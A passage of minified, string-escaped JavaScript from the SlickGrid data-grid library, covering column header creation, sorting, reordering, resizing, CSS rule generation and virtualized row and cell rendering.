e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeFooterRowCellDestroy,{node:this,column:e})}),$footerRow.empty());for(var n=0;n<columns.length;n++){var o=columns[n],r=$(\\\"<div class='ui-state-default slick-header-column' />\\\").html(\\\"<span class='slick-column-name'>\\\"+o.name+\\\"</span>\\\").width(o.width-headerColumnWidthDiff).attr(\\\"id\\\",\\\"\\\"+uid+o.id).attr(\\\"title\\\",o.toolTip||\\\"\\\").data(\\\"column\\\",o).addClass(o.headerCssClass||\\\"\\\").appendTo($headers);if((options.enableColumnReorder||o.sortable)&&r.on(\\\"mouseenter\\\",e).on(\\\"mouseleave\\\",t),o.sortable&&(r.addClass(\\\"slick-header-sortable\\\"),r.append(\\\"<span class='\\\"+sortIndicatorCssClass+\\\"' />\\\")),trigger(self.onHeaderCellRendered,{node:r[0],column:o,grid:self}),options.showHeaderRow){var i=$(\\\"<div class='ui-state-default slick-headerrow-column l\\\"+n+\\\" r\\\"+n+\\\"'></div>\\\").data(\\\"column\\\",o).appendTo($headerRow);trigger(self.onHeaderRowCellRendered,{node:i[0],column:o,grid:self})}if(options.createFooterRow&&options.showFooterRow){var l=$(\\\"<div class='ui-state-default slick-footerrow-column l\\\"+n+\\\" r\\\"+n+\\\"'></div>\\\").data(\\\"column\\\",o).appendTo($footerRow);trigger(self.onFooterRowCellRendered,{node:l[0],column:o})}}setSortColumns(sortColumns),setupColumnResize(),options.enableColumnReorder&&(\\\"function\\\"==typeof options.enableColumnReorder?options.enableColumnReorder(self,$headers,headerColumnWidthDiff,setColumns,setupColumnResize,columns,getColumnIndex,uid,trigger):setupColumnReorder())}function setupColumnSort(){$headers.click(function(e){if(e.metaKey=e.metaKey||e.ctrlKey,!$(e.target).hasClass(\\\"slick-resizable-handle\\\")){var t=$(e.target).closest(\\\".slick-header-column\\\");if(t.length){var n=t.data(\\\"column\\\");if(n.sortable){if(!getEditorLock().commitCurrentEdit())return;for(var o=null,r=0;r<sortColumns.length;r++)if(sortColumns[r].columnId==n.id){(o=sortColumns[r]).sortAsc=!o.sortAsc;break}var i=!!o;options.tristateMultiColumnSort?(o||(o={columnId:n.id,sortAsc:n.defaultSortAsc}),i&&o.sortAsc&&(sortColumns.splice(r,1),o=null),options.multiColumnSort||(sortColumns=[]),!o||i&&options.multiColumnSort||sortColumns.push(o)):e.metaKey&&options.multiColumnSort?o&&sortColumns.splice(r,1):((e.shiftKey||e.metaKey)&&options.multiColumnSort||(sortColumns=[]),o?0==sortColumns.length&&sortColumns.push(o):(o={columnId:n.id,sortAsc:n.defaultSortAsc},sortColumns.push(o))),setSortColumns(sortColumns),0<sortColumns.length&&(options.multiColumnSort?trigger(self.onSort,{multiColumnSort:!0,sortCols:$.map(sortColumns,function(e){return{sortCol:columns[getColumnIndex(e.columnId)],sortAsc:e.sortAsc}}),grid:self},e):trigger(self.onSort,{multiColumnSort:!1,sortCol:n,sortAsc:sortColumns[0].sortAsc,grid:self},e))}}}})}function setupColumnReorder(){$headers.filter(\\\":ui-sortable\\\").sortable(\\\"destroy\\\"),$headers.sortable({containment:\\\"parent\\\",distance:3,axis:\\\"x\\\",cursor:\\\"default\\\",tolerance:\\\"intersection\\\",helper:\\\"clone\\\",placeholder:\\\"slick-sortable-placeholder ui-state-default slick-header-column\\\",start:function(e,t){t.placeholder.width(t.helper.outerWidth()-headerColumnWidthDiff),$(t.helper).addClass(\\\"slick-header-column-active\\\")},beforeStop:function(e,t){$(t.helper).removeClass(\\\"slick-header-column-active\\\")},stop:function(e){if(getEditorLock().commitCurrentEdit()){for(var t=$headers.sortable(\\\"toArray\\\"),n=[],o=0;o<t.length;o++)n.push(columns[getColumnIndex(t[o].replace(uid,\\\"\\\"))]);setColumns(n),trigger(self.onColumnsReordered,{grid:self}),e.stopPropagation(),setupColumnResize()}else $(this).sortable(\\\"cancel\\\")}})}function setupColumnResize(){var s,a,c,u,d,p,n,o;(u=$headers.children()).find(\\\".slick-resizable-handle\\\").remove(),u.each(function(e,t){e>=columns.length||columns[e].resizable&&(void 0===n&&(n=e),o=e)}),void 0!==n&&u.each(function(l,e){l>=columns.length||l<n||options.forceFitColumns&&o<=l||($(e),$(\\\"<div class='slick-resizable-handle' />\\\").appendTo(e).on(\\\"dragstart\\\",function(e,t){if(!getEditorLock().commitCurrentEdit())return!1;c=e.pageX,$(this).parent().addClass(\\\"slick-header-column-active\\\");var n=null,o=null;if(u.each(function(e,t){e>=columns.length||(columns[e].previousWidth=$(t).outerWidth())}),options.forceFitColumns)for(o=n=0,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(null!==o&&(a.maxWidth?o+=a.maxWidth-a.previousWidth:o=null),n+=a.previousWidth-Math.max(a.minWidth||0,absoluteColumnMinWidth));var r=0,i=0;for(s=0;s<=l;s++)(a=columns[s]).resizable&&(null!==i&&(a.maxWidth?i+=a.maxWidth-a.previousWidth:i=null),r+=a.previousWidth-Math.max(a.minWidth||0,absoluteColumnMinWidth));null===n&&(n=1e5),null===r&&(r=1e5),null===o&&(o=1e5),null===i&&(i=1e5),p=c+Math.min(n,i),d=c-Math.min(r,o)}).on(\\\"drag\\\",function(e,t){var n,o,r=Math.min(p,Math.max(d,e.pageX))-c;if(r<0){for(o=r,s=l;0<=s;s--)(a=columns[s]).resizable&&(n=Math.max(a.minWidth||0,absoluteColumnMinWidth),o&&a.previousWidth+o<n?(o+=a.previousWidth-n,a.width=n):(a.width=a.previousWidth+o,o=0));if(options.forceFitColumns)for(o=-r,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(o&&a.maxWidth&&a.maxWidth-a.previousWidth<o?(o-=a.maxWidth-a.previousWidth,a.width=a.maxWidth):(a.width=a.previousWidth+o,o=0))}else{for(o=r,s=l;0<=s;s--)(a=columns[s]).resizable&&(o&&a.maxWidth&&a.maxWidth-a.previousWidth<o?(o-=a.maxWidth-a.previousWidth,a.width=a.maxWidth):(a.width=a.previousWidth+o,o=0));if(options.forceFitColumns)for(o=-r,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(n=Math.max(a.minWidth||0,absoluteColumnMinWidth),o&&a.previousWidth+o<n?(o+=a.previousWidth-n,a.width=n):(a.width=a.previousWidth+o,o=0))}applyColumnHeaderWidths(),options.syncColumnCellResize&&applyColumnWidths()}).on(\\\"dragend\\\",function(e,t){var n;for($(this).parent().removeClass(\\\"slick-header-column-active\\\"),s=0;s<columns.length;s++)a=columns[s],n=$(u[s]).outerWidth(),a.previousWidth!==n&&a.rerenderOnResize&&invalidateAllRows();updateCanvasWidth(!0),render(),trigger(self.onColumnsResized,{grid:self})}))})}function getVBoxDelta(n){var o=0;return $.each([\\\"borderTopWidth\\\",\\\"borderBottomWidth\\\",\\\"paddingTop\\\",\\\"paddingBottom\\\"],function(e,t){o+=parseFloat(n.css(t))||0}),o}function measureCellPaddingAndBorder(){var n,e=[\\\"borderLeftWidth\\\",\\\"borderRightWidth\\\",\\\"paddingLeft\\\",\\\"paddingRight\\\"],t=[\\\"borderTopWidth\\\",\\\"borderBottomWidth\\\",\\\"paddingTop\\\",\\\"paddingBottom\\\"],o=$.fn.jquery.split(\\\".\\\");jQueryNewWidthBehaviour=1==o[0]&&8<=o[1]||2<=o[0],n=$(\\\"<div class='ui-state-default slick-header-column' style='visibility:hidden'>-</div>\\\").appendTo($headers),headerColumnWidthDiff=headerColumnHeightDiff=0,\\\"border-box\\\"!=n.css(\\\"box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-moz-box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-webkit-box-sizing\\\")&&($.each(e,function(e,t){headerColumnWidthDiff+=parseFloat(n.css(t))||0}),$.each(t,function(e,t){headerColumnHeightDiff+=parseFloat(n.css(t))||0})),n.remove();var r=$(\\\"<div class='slick-row' />\\\").appendTo($canvas);n=$(\\\"<div class='slick-cell' id='' style='visibility:hidden'>-</div>\\\").appendTo(r),cellWidthDiff=cellHeightDiff=0,\\\"border-box\\\"!=n.css(\\\"box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-moz-box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-webkit-box-sizing\\\")&&($.each(e,function(e,t){cellWidthDiff+=parseFloat(n.css(t))||0}),$.each(t,function(e,t){cellHeightDiff+=parseFloat(n.css(t))||0})),r.remove(),absoluteColumnMinWidth=Math.max(headerColumnWidthDiff,cellWidthDiff)}function createCssRules(){$style=$(\\\"<style type='text/css' rel='stylesheet' />\\\").appendTo($(\\\"head\\\"));for(var e=options.rowHeight-cellHeightDiff,t=[\\\".\\\"+uid+\\\" .slick-header-column { left: 1000px; }\\\",\\\".\\\"+uid+\\\" .slick-top-panel { height:\\\"+options.topPanelHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-preheader-panel { height:\\\"+options.preHeaderPanelHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-headerrow-columns { height:\\\"+options.headerRowHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-footerrow-columns { height:\\\"+options.footerRowHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-cell { height:\\\"+e+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-row { height:\\\"+options.rowHeight+\\\"px; }\\\"],n=0;n<columns.length;n++)t.push(\\\".\\\"+uid+\\\" .l\\\"+n+\\\" { }\\\"),t.push(\\\".\\\"+uid+\\\" .r\\\"+n+\\\" { }\\\");$style[0].styleSheet?$style[0].styleSheet.cssText=t.join(\\\" \\\"):$style[0].appendChild(document.createTextNode(t.join(\\\" \\\")))}function getColumnCssRules(e){var t;if(!stylesheet){var n=document.styleSheets;for(t=0;t<n.length;t++)if((n[t].ownerNode||n[t].owningElement)==$style[0]){stylesheet=n[t];break}if(!stylesheet)throw new Error(\\\"Cannot find stylesheet.\\\");columnCssRulesL=[],columnCssRulesR=[];var o,r,i=stylesheet.cssRules||stylesheet.rules;for(t=0;t<i.length;t++){var l=i[t].selectorText;(o=/\\\\.l\\\\d+/.exec(l))?(r=parseInt(o[0].substr(2,o[0].length-2),10),columnCssRulesL[r]=i[t]):(o=/\\\\.r\\\\d+/.exec(l))&&(r=parseInt(o[0].substr(2,o[0].length-2),10),columnCssRulesR[r]=i[t])}}return{left:columnCssRulesL[e],right:columnCssRulesR[e]}}function removeCssRules(){$style.remove(),stylesheet=null}function destroy(){getEditorLock().cancelCurrentEdit(),trigger(self.onBeforeDestroy,{grid:self});for(var e=plugins.length;e--;)unregisterPlugin(plugins[e]);options.enableColumnReorder&&$headers.filter(\\\":ui-sortable\\\").sortable(\\\"destroy\\\"),unbindAncestorScrollEvents(),$container.off(\\\".slickgrid\\\"),removeCssRules(),$canvas.off(\\\"draginit dragstart dragend drag\\\"),$container.empty().removeClass(uid)}function trigger(e,t,n){return n=n||new Slick.EventData,(t=t||{}).grid=self,e.notify(t,n,self)}function getEditorLock(){return options.editorLock}function getEditController(){return editController}function getColumnIndex(e){return columnsById[e]}function autosizeColumns(){var e,t,n,o=[],r=0,i=0,l=viewportHasVScroll?viewportW-scrollbarDimensions.width:viewportW;for(e=0;e<columns.length;e++)t=columns[e],o.push(t.width),i+=t.width,t.resizable&&(r+=t.width-Math.max(t.minWidth,absoluteColumnMinWidth));for(n=i;l<i&&r;){var s=(i-l)/r;for(e=0;e<columns.length&&l<i;e++){t=columns[e];var a=o[e];if(!(!t.resizable||a<=t.minWidth||a<=absoluteColumnMinWidth)){var c=Math.max(t.minWidth,absoluteColumnMinWidth),u=Math.floor(s*(a-c))||1;u=Math.min(u,a-c),i-=u,r-=u,o[e]-=u}}if(n<=i)break;n=i}for(n=i;i<l;){var d=l/i;for(e=0;e<columns.length&&i<l;e++){t=columns[e];var p,f=o[e];p=!t.resizable||t.maxWidth<=f?0:Math.min(Math.floor(d*f)-f,t.maxWidth-f||1e6)||1,i+=p,o[e]+=i<=l?p:0}if(i<=n)break;n=i}var h=!1;for(e=0;e<columns.length;e++)columns[e].rerenderOnResize&&columns[e].width!=o[e]&&(h=!0),columns[e].width=o[e];applyColumnHeaderWidths(),updateCanvasWidth(!0),h&&(invalidateAllRows(),render())}function applyColumnHeaderWidths(){if(initialized){for(var e,t=0,n=$headers.children(),o=columns.length;t<o;t++)e=$(n[t]),jQueryNewWidthBehaviour?e.outerWidth()!==columns[t].width&&e.outerWidth(columns[t].width):e.width()!==columns[t].width-headerColumnWidthDiff&&e.width(columns[t].width-headerColumnWidthDiff);updateColumnCaches()}}function applyColumnWidths(){for(var e,t,n=0,o=0;o<columns.length;o++)e=columns[o].width,(t=getColumnCssRules(o)).left.style.left=n+\\\"px\\\",t.right.style.right=canvasWidth-n-e+\\\"px\\\",n+=columns[o].width}function setSortColumn(e,t){setSortColumns([{columnId:e,sortAsc:t}])}function setSortColumns(e){sortColumns=e;var o=options.numberedMultiColumnSort&&1<sortColumns.length,r=$headers.children(),i=r.removeClass(\\\"slick-header-column-sorted\\\").find(\\\".\\\"+sortIndicatorCssClass).removeClass(\\\"slick-sort-indicator-asc slick-sort-indicator-desc\\\");o&&i.text(\\\"\\\"),$.each(sortColumns,function(e,t){null==t.sortAsc&&(t.sortAsc=!0);var n=getColumnIndex(t.columnId);null!=n&&(i=r.eq(n).addClass(\\\"slick-header-column-sorted\\\").find(\\\".\\\"+sortIndicatorCssClass).addClass(t.sortAsc?\\\"slick-sort-indicator-asc\\\":\\\"slick-sort-indicator-desc\\\"),o&&i.text(e+1))})}function getSortColumns(){return sortColumns}function handleSelectedRangesChanged(e,t){selectedRows=[];for(var n={},o=0;o<t.length;o++)for(var r=t[o].fromRow;r<=t[o].toRow;r++){n[r]||(selectedRows.push(r),n[r]={});for(var i=t[o].fromCell;i<=t[o].toCell;i++)canCellBeSelected(r,i)&&(n[r][columns[i].id]=options.selectedCellCssClass)}setCellCssStyles(options.selectedCellCssClass,n),trigger(self.onSelectedRowsChanged,{rows:getSelectedRows(),grid:self},e)}function getColumns(){return columns}function updateColumnCaches(){columnPosLeft=[],columnPosRight=[];for(var e=0,t=0,n=columns.length;t<n;t++)columnPosLeft[t]=e,columnPosRight[t]=e+columns[t].width,e+=columns[t].width}function setColumns(e){columns=e,columnsById={};for(var t=0;t<columns.length;t++){var n=columns[t]=$.extend({},columnDefaults,columns[t]);columnsById[n.id]=t,n.minWidth&&n.width<n.minWidth&&(n.width=n.minWidth),n.maxWidth&&n.width>n.maxWidth&&(n.width=n.maxWidth)}updateColumnCaches(),initialized&&(invalidateAllRows(),createColumnHeaders(),removeCssRules(),createCssRules(),resizeCanvas(),applyColumnWidths(),handleScroll())}function getOptions(){return options}function setOptions(e,t){getEditorLock().commitCurrentEdit()&&(makeActiveCellNormal(),options.enableAddRow!==e.enableAddRow&&invalidateRow(getDataLength()),options=$.extend(options,e),validateAndEnforceOptions(),$viewport.css(\\\"overflow-y\\\",options.autoHeight?\\\"hidden\\\":\\\"auto\\\"),t||render())}function validateAndEnforceOptions(){options.autoHeight&&(options.leaveSpaceForNewRows=!1)}function setData(e,t){data=e,invalidateAllRows(),updateRowCount(),t&&scrollTo(0)}function getData(){return data}function getDataLength(){return data.getLength?data.getLength():data.length}function getDataLengthIncludingAddNew(){return getDataLength()+(options.enableAddRow&&(!pagingActive||pagingIsLastPage)?1:0)}function getDataItem(e){return data.getItem?data.getItem(e):data[e]}function getTopPanel(){return $topPanel[0]}function setTopPanelVisibility(e){options.showTopPanel!=e&&((options.showTopPanel=e)?$topPanelScroller.slideDown(\\\"fast\\\",resizeCanvas):$topPanelScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setHeaderRowVisibility(e){options.showHeaderRow!=e&&((options.showHeaderRow=e)?$headerRowScroller.slideDown(\\\"fast\\\",resizeCanvas):$headerRowScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setFooterRowVisibility(e){options.showFooterRow!=e&&((options.showFooterRow=e)?$footerRowScroller.slideDown(\\\"fast\\\",resizeCanvas):$footerRowScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setPreHeaderPanelVisibility(e){options.showPreHeaderPanel!=e&&((options.showPreHeaderPanel=e)?$preHeaderPanelScroller.slideDown(\\\"fast\\\",resizeCanvas):$preHeaderPanelScroller.slideUp(\\\"fast\\\",resizeCanvas))}function getContainerNode(){return $container.get(0)}function getRowTop(e){return options.rowHeight*e-offset}function getRowFromPosition(e){return Math.floor((e+offset)/options.rowHeight)}function scrollTo(e){e=Math.max(e,0),e=Math.min(e,th-viewportH+(viewportHasHScroll?scrollbarDimensions.height:0));var t=offset;page=Math.min(n-1,Math.floor(e/ph)),offset=Math.round(page*cj);var o=e-offset;if(offset!=t){var r=getVisibleRange(o);cleanupRows(r),updateRowPositions()}prevScrollTop!=o&&(vScrollDir=prevScrollTop+t<o+offset?1:-1,$viewport[0].scrollTop=lastRenderedScrollTop=scrollTop=prevScrollTop=o,trigger(self.onViewportChanged,{grid:self}))}function defaultFormatter(e,t,n,o,r){return null==n?\\\"\\\":(n+\\\"\\\").replace(/&/g,\\\"&amp;\\\").replace(/</g,\\\"&lt;\\\").replace(/>/g,\\\"&gt;\\\")}function getFormatter(e,t){var n=data.getItemMetadata&&data.getItemMetadata(e),o=n&&n.columns&&(n.columns[t.id]||n.columns[getColumnIndex(t.id)]);return o&&o.formatter||n&&n.formatter||t.formatter||options.formatterFactory&&options.formatterFactory.getFormatter(t)||options.defaultFormatter}function getEditor(e,t){var n=columns[t],o=data.getItemMetadata&&data.getItemMetadata(e),r=o&&o.columns;return r&&r[n.id]&&void 0!==r[n.id].editor?r[n.id].editor:r&&r[t]&&void 0!==r[t].editor?r[t].editor:n.editor||options.editorFactory&&options.editorFactory.getEditor(n)}function getDataItemValueForColumn(e,t){return options.dataItemColumnValueExtractor?options.dataItemColumnValueExtractor(e,t):e[t.field]}function appendRowHtml(e,t,n,o){var r=getDataItem(t),i=t<o&&!r,l=\\\"slick-row\\\"+(i?\\\" loading\\\":\\\"\\\")+(t===activeRow?\\\" active\\\":\\\"\\\")+(t%2==1?\\\" odd\\\":\\\" even\\\");r||(l+=\\\" \\\"+options.addNewRowCssClass);var s,a,c=data.getItemMetadata&&data.getItemMetadata(t);c&&c.cssClasses&&(l+=\\\" \\\"+c.cssClasses),e.push(\\\"<div class='ui-widget-content \\\"+l+\\\"' style='top:\\\"+getRowTop(t)+\\\"px'>\\\");for(var u=0,d=columns.length;u<d;u++){if(a=columns[u],s=1,c&&c.columns){var p=c.columns[a.id]||c.columns[u];\\\"*\\\"===(s=p&&p.colspan||1)&&(s=d-u)}if(columnPosRight[Math.min(d-1,u+s-1)]>n.leftPx){if(columnPosLeft[u]>n.rightPx)break;appendCellHtml(e,t,u,s,r)}1<s&&(u+=s-1)}e.push(\\\"</div>\\\")}function appendCellHtml(e,t,n,o,r){var i=columns[n],l=\\\"slick-cell l\\\"+n+\\\" r\\\"+Math.min(columns.length-1,n+o-1)+(i.cssClass?\\\" \\\"+i.cssClass:\\\"\\\");for(var s in t===activeRow&&n===activeCell&&(l+=\\\" active\\\"),cellCssClasses)cellCssClasses[s][t]&&cellCssClasses[s][t][i.id]&&(l+=\\\" \\\"+cellCssClasses[s][t][i.id]);var a=null;r&&(a=getDataItemValueForColumn(r,i));var c=getFormatter(t,i)(t,n,a,i,r),u=trigger(self.onBeforeAppendCell,{row:t,cell:n,grid:self,value:a,dataContext:r})||\\\"\\\";u+=c.addClasses?(u?\\\" \\\":\\\"\\\")+c.addClasses:\\\"\\\",e.push(\\\"<div class='\\\"+l+(u?\\\" \\\"+u:\\\"\\\")+\\\"'>\\\"),r&&e.push(\\\"object\\\"!=typeof c?c:c.text),e.push(\\\"</div>\\\"),rowsCache[t].cellRenderQueue.push(n),rowsCache[t].cellColSpans[n]=o}function cleanupRows(e){for(var t in rowsCache)(t=parseInt(t,10))!==activeRow&&(t<e.top||t>e.bottom)&&removeRowFromCache(t);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}function invalidate(){updateRowCount(),invalidateAllRows(),render()}function invalidateAllRows(){for(var e in currentEditor&&makeActiveCellNormal(),rowsCache)removeRowFromCache(e);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}function queuePostProcessedRowForCleanup(e,t,n){for(var o in postProcessgroupId++,t)t.hasOwnProperty(o)&&postProcessedCleanupQueue.push({actionType:\\\"C\\\",groupId:postProcessgroupId,node:e.cellNodesByColumnIdx[0|o],columnIdx:0|o,rowIdx:n});postProcessedCleanupQueue.push({actionType:\\\"R\\\",groupId:postProcessgroupId,node:e.rowNode}),$(e.rowNode).detach()}function queuePostProcessedCellForCleanup(e,t,n){postProcessedCleanupQueue.push({actionType:\\\"C\\\",groupId:postProcessgroupId,node:e,columnIdx:t,rowIdx:n}),$(e).detach()}function removeRowFromCache(e){var t=rowsCache[e];t&&(rowNodeFromLastMouseWheelEvent===t.rowNode?(t.rowNode.style.display=\\\"none\\\",zombieRowNodeFromLastMouseWheelEvent=rowNodeFromLastMouseWheelEvent,zombieRowCacheFromLastMouseWheelEvent=t,zombieRowPostProcessedFromLastMouseWheelEvent=postProcessedRows[e]):options.enableAsyncPostRenderCleanup&&postProcessedRows[e]?queuePostProcessedRowForCleanup(t,postProcessedRows[e],e):$canvas[0].removeChild(t.rowNode),delete rowsCache[e],delete postProcessedRows[e],renderedRows--,counter_rows_removed++)}function invalidateRows(e){var t,n;if(e&&e.length){for(vScrollDir=0,n=e.length,t=0;t<n;t++)currentEditor&&activeRow===e[t]&&makeActiveCellNormal(),rowsCache[e[t]]&&removeRowFromCache(e[t]);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}}function invalidateRow(e){invalidateRows([e])}function applyFormatResultToCellNode(e,t,n){\\\"object\\\"==typeof e?(t.innerHTML=e.text,e.removeClasses&&!n&&t.removeClass(e.removeClasses),e.addClasses&&t.addClass(e.addClasses)):t.innerHTML=e}function updateCell(e,t){var n=getCellNode(e,t);if(n){var o=columns[t],r=getDataItem(e);if(currentEditor&&activeRow===e&&activeCell===t)currentEditor.loadValue(r);else{var i=r?getFormatter(e,o)(e,t,getDataItemValueForColumn(r,o),o,r):\\\"\\\";applyFormatResultToCellNode(i,n),invalidatePostProcessingResults(e)}}}function updateRow(e){var t=rowsCache[e];if(t){ensureCellNodesInRowsCache(e);var n=getDataItem(e);for(var o in t.cellNodesByColumnIdx)if(t.cellNodesByColumnIdx.hasOwnProperty(o)){var r=columns[o|=0],i=t.cellNodesByColumnIdx[o];e===activeRow&&o===activeCell&&currentEditor?currentEditor.loadValue(n):n?applyFormatResultToCellNode(getFormatter(e,r)(e,o,getDataItemValueForColumn(n,r),r,n),i):i.innerHTML=\\\"\\\"}invalidatePostProcessingResults(e)}}function getViewportHeight(){return parseFloat($.css($container[0],\\\"height\\\",!0))-parseFloat($.css($container[0],\\\"paddingTop\\\",!0))-parseFloat($.css($container[0],\\\"paddingBottom\\\",!0))-parseFloat($.css($headerScroller[0],\\\"height\\\"))-getVBoxDelta($headerScroller)-(options.showTopPanel?options.topPanelHeight+getVBoxDelta($topPanelScroller):0)-(options.showHeaderRow?options.headerRowHeight+getVBoxDelta($headerRowScroller):0)-(options.createFooterRow&&options.showFooterRow?options.footerRowHeight+getVBoxDelta($footerRowScroller):0)-(options.createPreHeaderPanel&&options.showPreHeaderPanel?options.preHeaderPanelHeight+getVBoxDelta($preHeaderPanelScroller):0)}function resizeCanvas(){initialized&&(viewportH=options.autoHeight?options.rowHeight*getDataLengthIncludingAddNew():getViewportHeight(),numVisibleRows=Math.ceil(viewportH/options.rowHeight),viewportW=parseFloat($.css($container[0],\\\"width\\\",!0)),options.autoHeight||$viewport.height(viewportH),options.forceFitColumns&&autosizeColumns(),updateRowCount(),handleScroll(),lastRenderedScrollLeft=-1,render())}function updatePagingStatusFromView(e){pagingActive=0!==e.pageSize,pagingIsLastPage=e.pageNum==e.totalPages-1}function updateRowCount(){if(initialized){var e=getDataLength(),t=getDataLengthIncludingAddNew(),o=t+(options.leaveSpaceForNewRows?numVisibleRows-1:0),r=viewportHasVScroll;viewportHasVScroll=!options.autoHeight&&o*options.rowHeight>viewportH,viewportHasHScroll=canvasWidth>viewportW-scrollbarDimensions.width,makeActiveCellNormal();var i=e-1;for(var l in rowsCache)i<l&&removeRowFromCache(l);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup(),activeCellNode&&i<activeRow&&resetActiveCell();var s=h;(th=Math.max(options.rowHeight*o,viewportH-scrollbarDimensions.height))<maxSupportedCssHeight?(h=ph=th,n=1,cj=0):(ph=(h=maxSupportedCssHeight)/100,n=Math.floor(th/ph),cj=(th-h)/(n-1)),h!==s&&($canvas.css(\\\"height\\\",h),scrollTop=$viewport[0].scrollTop);var a=scrollTop+offset<=th-viewportH;0==th||0==scrollTop?page=offset=0:scrollTo(a?scrollTop+offset:th-viewportH),h!=s&&options.autoHeight&&resizeCanvas(),options.forceFitColumns&&r!=viewportHasVScroll&&autosizeColumns(),updateCanvasWidth(!1)}}function getVisibleRange(e,t){return null==e&&(e=scrollTop),null==t&&(t=scrollLeft),{top:getRowFromPosition(e),bottom:getRowFromPosition(e+viewportH)+1,leftPx:t,rightPx:t+viewportW}}function getRenderedRange(e,t){var n=getVisibleRange(e,t),o=Math.round(viewportH/options.rowHeight);return-1==vScrollDir?(n.top-=o,n.bottom+=3):1==vScrollDir?(n.top-=3,n.bottom+=o):(n.top-=3,n.bottom+=3),n.top=Math.max(0,n.top),n.bottom=Math.min(getDataLengthIncludingAddNew()-1,n.bottom),n.leftPx-=viewportW,n.rightPx+=viewportW,n.leftPx=Math.max(0,n.leftPx),n.rightPx=Math.min(canvasWidth,n.rightPx),n}function ensureCellNodesInRowsCache(e){var t=rowsCache[e];if(t&&t.cellRenderQueue.length)for(var n=t.rowNode.lastChild;t.cellRenderQueue.length;){var o=t.cellRenderQueue.pop();n=(t.cellNodesByColumnIdx[o]=n).previousSibling}}function cleanUpCells(e,t){var n,o,r=rowsCache[t],i=[];for(var l in r.cellNodesByColumnIdx)if(r.cellNodesByColumnIdx.hasOwnProperty(l)){l|=0;var s=r.cellColSpans[l];(columnPosLeft[l]>e.rightPx||columnPosRight[Math.min(columns.length-1,l+s-1)]<e.leftPx)&&(t==activeRow&&l==activeCell||i.push(l))}for(postProcessgroupId++;null!=(n=i.pop());)o=r.cellNodesByColumnIdx[n],options.enableAsyncPostRenderCleanup&&postProcessedRows[t]&&postProcessedRows[t][n]?queuePostProcessedCellForCleanup(o,n,t):r.rowNode.removeChild(o),delete r.cellColSpans[n],delete r.cellNodesByColumnIdx[n],postProcessedRows[t]&&delete postProcessedRows[t][n],0}function cleanUpAndRenderCells(e){for(var t,n,o,r=[],i=[],l=e.top,s=e.bottom;l<=s;l++)if(t=rowsCache[l]){ensureCellNodesInRowsCache(l),cleanUpCells(e,l),n=0;var a=data.getItemMetadata&&data.getItemMetadata(l);a=a&&a.columns;for(var c=getDataItem(l),u=0,d=columns.length;u<d&&!(columnPosLeft[u]>e.rightPx);u++)if(null==(o=t.cellColSpans[u])){if(o=1,a){var p=a[columns[u].id]||a[u];\\\"*\\\"===(o=p&&p.colspan||1)&&(o=d-u)}columnPosRight[Math.min(d-1,u+o-1)]>e.leftPx&&(appendCellHtml(r,l,u,o,c),n++),u+=1<o?o-1:0}else u+=1<o?o-1:0;n&&(n,i.push(l))}if(r.length){var f,h,g=document.createElement(\\\"div\\\");for(g.innerHTML=r.join(\\\"\\\");null!=(f=i.pop());){var m;for(t=rowsCache[f];null!=(m=t.cellRenderQueue.pop());)h=g.lastChild,t.rowNode.appendChild(h),t.cellNodesByColumnIdx[m]=h}}}function renderRows(e){for(var t=$canvas[0],n=[],o=[],r=!1,i=getDataLength(),l=e.top,s=e.bottom;l<=s;l++)rowsCache[l]||(renderedRows++,o.push(l),rowsCache[l]={rowNode:null,cellColSpans:[],cellNodesByColumnIdx:[],cellRenderQueue:[]},appendRowHtml(n,l,e,i),activeCellNode&&activeRow===l&&(r=!0),counter_rows_rendered++);if(o.length){var a=document.createElement(\\\"div\\\");a.innerHTML=n.join(\\\"\\\");for(var l=0,s=o.length;l<s;l++)rowsCache[o[l]].rowNode=t.appendChild(a.firstChild);r&&(activeCellNode=getCellNode(activeRow,activeCell))}}function startPostProcessing(){options.enableAsyncPostRender&&(clearTimeout(h_postrender),h_postrender=setTimeout(asyncPostProcessRows,options.asyncPostRenderDelay))}function startPostProcessingCleanup(){options.enableAsyncPostRenderCleanup&&(clearTimeout(h_postrenderCleanup),h_postrenderCleanup=setTimeout(asyncPostProcessCleanupRows,options.asyncPostRenderCleanupDelay))}function invalidatePostProcessingResults(e){for(var t in postProcessedRows[e])postProcessedRows[e].hasOwnProperty(t)&&(postProcessedRows[e][t]=\\\"C\\\");postProcessFromRow=Math.min(postProcessFromRow,e),postProcessToRow=Math.max(postProcessToRow,e),startPostProcessing()}function updateRowPositions(){for(var e in rowsCache)rowsCache[e].rowNode.style.top=getRowTop(e)+\\\"px\\\"}function render(){if(initialized){var e=getVisibleRange(),t=getRenderedRange();cleanupRows(t),lastRenderedScrollLeft!=scrollLeft&&cleanUpAndRenderCells(t),renderRows(t),postProcessFromRow=e.top,postProcessToRow=Math.min(getDataLengthIncludingAddNew()-1,e.bottom),startPostProcessing(),lastRenderedScrollTop=scrollTop,lastRenderedScrollLeft=scrollLeft,h_render=null}}function handleHeaderRowScroll(){var e=$headerRowScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handleFooterRowScroll(){var e=$footerRowScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handlePreHeaderPanelScroll(){var 